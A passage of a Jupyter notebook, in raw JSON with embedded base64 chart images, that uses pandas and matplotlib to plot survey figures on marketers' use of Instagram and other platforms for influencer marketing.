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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS1.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['orange', 'g', 'b', 'k', 'r', 'm', 'c', 'y']\n", + "\n", + "plt.title(\"Marketers planning to use Instagram for influencer marketing in 2021 vs other platforms\")\n", + "plt.ylabel(\"platform\")\n", + "plt.xlabel(\"%\")\n", + "plt.barh(x,y, color=c)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Marketers who believe Instagram offers best influencer marketing ROI vs other platforms" + ] + }, + { + "cell_type": "code", + "execution_count": 96, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Influencer_marketing_platform Percentage_of_marketers\n", + "0 Instagram 18\n", + "1 Online ads 21\n", + "2 YouTube 18\n", + "3 Tv ads 10\n", + "4 TikTok 6\n" + ] + }, + { + "data": { + "image/png": "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